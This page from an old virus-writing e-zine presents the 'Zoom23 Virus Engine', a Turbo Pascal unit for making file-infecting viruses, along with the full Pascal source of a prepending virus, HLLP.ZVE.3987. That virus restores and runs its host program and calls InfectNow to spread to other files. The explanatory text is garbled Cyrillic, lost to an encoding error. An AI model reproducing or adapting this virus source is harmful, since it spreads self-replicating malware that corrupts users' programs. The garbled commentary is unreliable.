- [Duke's Virus Labs #4] - [Page 05] -

HLLP.ZVE.3987
(c) by Duke/SMF

    ୠ Pinoy Virus Writers #3  㡫 TPU-, 騩
ᮧ HLLP-ᮢ.  뤥প  ਫ 㬥樨 :

===== Cut here =====
      Zoom23 Virus Engine ͻ
     ͼ

      This engine was made using turbo pascal compiler .It's a UNIT
       (ZVE.TPU) file and you can use it to create your viruses.It's
       a simple engine it could be the first Pascal made virus engine.
       It only replicates and does'nt detroy infected files.It only
       increases it's file lenght. It searches for it's signature so
       it wont infect files that are already infected.
       For bugs and coments email to :

            brianjan@mailcity.com
            nosecrets@mailexcite.com
            zoom23@the-pentagon.com

{ --------------------------------------------------------------------
  Property of Pinoy Virus Writers WebRing
  (C) May 23, 1998   Author : Zoom23     Email : brianjan@mailcity.com
  Http://members.tripod.com/~brianjan
  For Educational Purposes Only !!!   " Keep the infection alive ... "
  -------------------------------------------------------------------- }
===== Cut here =====

     ,  engine 㦨 , ᬮ  稥
 ⪮ :
   1)  ਢ  ୠ PVW #3 ਬ ᠭ,   ࠡ
      ZVE ॡ ᠭ ⠭ Virlen, ࠢ 
      ⪮஢ .  ᠬ   ⠭  ᯮ
       ணࠬ.
   2) ᨬ쭠  ᮧ ᮢ - 4444 . ⮬ 
      ᯥ䥪  - ᢮   㤠.
   3)  ਢ ਬ   ZVE.TPU 뢠 楤 Infect.
        㫥   楤 InfectNow.
   4)  ᪥ ࠦ 䠩 ࠢ 砥 , 
      ஢ ࠦ EXE-䠩 ( ஢મ  ୮ ࠦ).
      , ࠦ ணࠬ ࠢ   砥 :(

    訫  ᮪,  ᯮ짮 ZVE,  ஬ ࠢ 
 訡.  ᠫ ;)   ᫠ !

===== Cut here =====
(*
Created (c) by Duke/SMF
Using Zoom23 Virus Engine (c) by Zoom23
᫥ 樨 ࠡ ணࠬ PKLITE !
*)
{$M 2000, 0, 2000}
{$I-,S-}
uses zve,dos;
{---------------------------------}
procedure Execute;
const Change=4444;
var a:file; {ࠦ 䠩}
    par:string;
    i:byte;
    w:array[1..Change] of byte;
    s:string;
    f:integer;
begin
s:=paramstr(0);
assign(a,s);reset(a,1);
f:=filesize(a);
if f<=Change then Exit;            {᫨   ⮬  -  室}
{頥 ⢥ "" ࢮ砫 :}
seek(a,f-Change-5);                {⥫ ⠢  砫 save-"".}
BlockRead(a,w,Change);             {Save-"A" ⠭  ᨢ W.}
seek(a,0);                         {⥫ ⠢  砫 "".}
BlockWrite(a,w,Change);            {ᨢ W ᠭ  砫 "".}
seek(a,f-Change-5);                {⥫ ⠢  砫 save-"".}
truncate(a);                       {뢠 save- "".}
close(a);                          {뢠 ""}
par:='This virus created by Duke/SMF';
par:='Using "Zoom23 Virus Engine" [ZVE] by Zoom23';
par:='';
for i:=1 to paramcount do          {࠭塞 ࠬ}
  par:=par+paramstr(i)+' ';
exec(s,par);                       {᪠ ""}
end;
{---------------------------------}
BEGIN
  Execute;
  InfectNow;
END.
===== Cut here =====
